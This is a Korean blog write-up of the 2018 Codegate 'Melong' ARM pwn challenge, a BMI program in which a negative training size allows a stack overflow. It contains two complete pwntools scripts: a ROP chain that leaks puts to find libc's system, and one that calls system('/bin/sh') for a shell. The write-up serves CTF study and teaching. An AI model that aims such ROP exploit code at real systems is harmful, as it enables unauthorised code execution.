HO_9
HO9
HO_9
전체 방문자
오늘
어제
  • 분류 전체보기 (104)
    • Write Up (3)
    • WarGame (21)
      • The Lord of Bufferoverflow(.. (7)
      • The Lord of Sql Injection(L.. (1)
      • Pwnable.kr (1)
      • Pwnable.tw (0)
      • XSS GAME (6)
      • Pwnable.xyz (5)
    • SYSTEM HACKING (49)
      • 기법 (24)
      • 문제 풀이 (24)
    • CODING (2)
      • PYTHON (2)
    • WEB HACKING (1)
    • Plan (0)
    • PROJECT (0)
    • iOS (6)
    • ALGORITHM (0)

블로그 메뉴

  • 홈
  • 태그
  • 미디어로그
  • 위치로그
  • 방명록

공지사항

  • .

인기 글

태그

  • JNDI
  • log4j
  • 아파치
  • 취약점

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
HO_9

HO9

2018 Codegate - Melong
SYSTEM HACKING/문제 풀이

2018 Codegate - Melong

2018. 5. 10. 23:50
728x90

넘무 오랜만에 글을 올린다ㅜㅜㅜㅜ

시험 끝나고 너무 망쳐서 멘탈 관리하느라 힘들었다 ...


arm에 관련된 문제인 코드게이트 예선 Melong문제를 풀어보겠다.

arm에 관련된 정리는 곧 올릴 것이다. ㅎㅎ!


그럼 문제를 풀어 보자!





보호기법을 보면 NX와 Partial RELRO가 걸려있다.


main함수를 확인을 해보자.




프로그램은 bmi를 측정해주는 프로그램인 것 같다.

main을 보면 여러가지 함수가 있다 하나씩 살펴보도록 하자.


check




check함수는 간단하게 자신의 height와 weight를 입력을 받는다.



exercise





bmi값이 under이거나over인지 확인을 해주고,

그것을 토대로 운동을 해야하는지 또는 하지 말아야 하는지를 판단하는 함수이다.



PT




원하는 size값을 받고 그만큼 exercise를 하고 malloc도 해준다.

그런데 if문에서 음수값을 제한을 하지 않기 때문에 음수를 넣어주면 될 것 같다. ㅎㅎㅎㅎㅎ




Write_diary



취약점의 향기가 맡아진다 ㅎ....

nbytes는 PT에서 size값이랑 동일하다.

그러면 size값을 크게주면 오버플로우가 가능하지 않을까?

LEt's ExPlOit!



LEAK_SYSTEM_ADDR


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/python
 
from pwn import *
 
e       =       ELF('./melon')
p       =       process('./melon.sh')
l    =    ELF('/root/qira/qira/libs/armel/lib/arm-linux-gnueabi/libc.so.6')
 
gadget1 = 0x00010460  #pop {r3, pc}
gadget2 = 0x0011D28   #pop {r4, r5, r6, r7, r8, sb, sl, pc}
gadget3 = 0x0011D18   #mov r0, r7 ; blx r3
 
system = 0xf670e351
 
#Check BMI
print p.recvuntil('number:')
p.sendline('1')
p.recvuntil('Your height(meters) : ')
p.sendline('1.87')
p.recvuntil('Your weight(kilograms) : ')
p.sendline('84')
 
#pass
print p.recvuntil('number:')
p.sendline('2')
 
#-
print p.recvuntil('number:')
p.sendline('3')
p.recvuntil('training?\n')
p.sendline('-1')
 
#
print p.recvuntil('number:')
p.sendline('4')
 
payload = ''
payload += "A"*0x50
payload += "BBBB"
payload += p32(e.symbols['__libc_csu_init']+0x54)
payload += p32(0) #r4
payload += p32(0) #r5
payload += p32(0) #r6
payload += p32(e.got['puts']) #Puts Arg 
payload += p32(0) #r8
payload += p32(0) #r9
payload += p32(0) #r10
payload += p32(gadget1) #LDMFD R3 PC
payload += p32(e.plt['puts'])
payload += p32(e.symbols['__libc_csu_init']+0x44)
payload += "/bin/sh\x00"
 
 
p.sendline(payload);sleep(1)
 
 
p.sendline('6')
print p.recvuntil(':)\n')
 
leak   = u32(p.recv(4))
libc   = leak - l.symbols['puts']
system = libc + l.symbols['system']
 
print "Leak   :"+hex(leak)
print "Libc   :"+hex(libc)
print "System :"+hex(system)
 
Colored by Color Scripter
cs


ASLR이 걸려있지 않아서 쉽게 system주소를 구할 수 있다.



GET-SHELL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/python
 
from pwn import *
 
e       =       ELF('./melon')
p       =       process('./melon.sh')
 
 
gadget1 = 0x00010460  #pop {r3, pc}
gadget2 = 0x0011D28   #pop {r4, r5, r6, r7, r8, sb, sl, pc}
gadget3 = 0x0011D18   #mov r0, r7 ; blx r3
 
system = 0xf670e351
 
#Check BMI
print p.recvuntil('number:')
p.sendline('1')
p.recvuntil('Your height(meters) : ')
p.sendline('1.87')
p.recvuntil('Your weight(kilograms) : ')
p.sendline('84')
 
#pass
print p.recvuntil('number:')
p.sendline('2')
 
#-
print p.recvuntil('number:')
p.sendline('3')
p.recvuntil('training?\n')
p.sendline('-1')
 
#
print p.recvuntil('number:')
p.sendline('4')
 
payload = ''
payload += "A"*0x50
payload += "BBBB"
payload += p32(e.symbols['__libc_csu_init']+0x54)
payload += p32(0) #r4
payload += p32(0) #r5
payload += p32(0) #r6
payload += p32(0xf6fff040) #r7 #No ASLR #0xf6fff040 = /bin/sh
payload += p32(0) #r8
payload += p32(0) #r9
payload += p32(0) #r10
payload += p32(gadget1) #LDMFD R3 PC
payload += p32(system)  
payload += p32(e.symbols['__libc_csu_init']+0x44) 
payload += "/bin/sh\x00"
 
 
p.sendline(payload);sleep(1)
 
 
p.sendline('6')
print p.recvuntil(':)\n')
 
p.interactive()
 
Colored by Color Scripter
cs


생각보다 어려웠다.

ARM이 처음이여서 그런 것도 있는데

가젯이 말을 안들었다.

그래서 가젯을 찾다가 LDMFD R3 PC(POP R3 PC)가젯을 찾아서

익스플로잇을 하니까 그때부터 값이 제대로 들어갔다.

그리고 파일명을 길게하니까 익스플로잇이 되다가 다시 안되는 문제도 있었다.

아마도 파일길이가 길어져서 /bin/sh\x00의 주소값이 달라졌나보다 ...

'SYSTEM HACKING > 문제 풀이' 카테고리의 다른 글

Dreamhack basic_rop_x64  (0) 2020.04.25
Dreamhack basic_rop_x86  (0) 2020.04.24
HITCON 2014 stkof  (0) 2018.03.19
BCTF 2016 Bcloud  (0) 2018.03.15
Hack.lu CTF 2014 - oreo  (2) 2018.03.10
    'SYSTEM HACKING/문제 풀이' 카테고리의 다른 글
    • Dreamhack basic_rop_x64
    • Dreamhack basic_rop_x86
    • HITCON 2014 stkof
    • BCTF 2016 Bcloud
    HO_9
    HO_9

    티스토리툴바